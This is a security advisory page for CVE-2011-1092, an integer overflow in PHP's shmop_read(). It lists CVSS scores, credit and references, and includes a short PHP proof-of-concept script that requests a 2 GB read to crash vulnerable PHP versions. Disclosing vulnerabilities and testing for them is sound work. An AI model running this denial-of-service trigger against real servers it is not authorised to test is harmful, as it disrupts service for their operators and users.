PHP <= 5.3.6 shmop_read() Integer Overflow DoS

2011.03.17

Credit: Jose Carlos Norte

Risk: High

Local: No

Remote: Yes

CVE: CVE-2011-1092

CWE: CWE-189

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<?php
# Exploit Title: PHP <=5.3.5 Integer Overflow DoS
# Date: 12-03-11
# Author: Jose Carlos Norte - www.rooibo.com
# Software Link: www.php.net
# Version: <= 5.3.5
# Tested on: Ubuntu Linux
# CVE : CVE-2011-1092

$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
$shm_data = shmop_read($shm_id, 1, 2147483647);
//if there is no segmentation fault past this point, we have 2gb of memory!
//or we are in a patched php
echo "this php version is not vulnerable!";

?>

References:

http://www.openwall.com/lists/oss-security/2011/03/08/9

http://www.openwall.com/lists/oss-security/2011/03/08/11

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/shmop/shmop.c?r1=306939&r2=309018&pathrev=309018

http://xforce.iss.net/xforce/xfdb/65988

http://www.securityfocus.com/bid/46786

http://www.exploit-db.com/exploits/16966

See this note in RAW Version

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PHP <= 5.3.6 shmop_read() Integer Overflow DoS

References:

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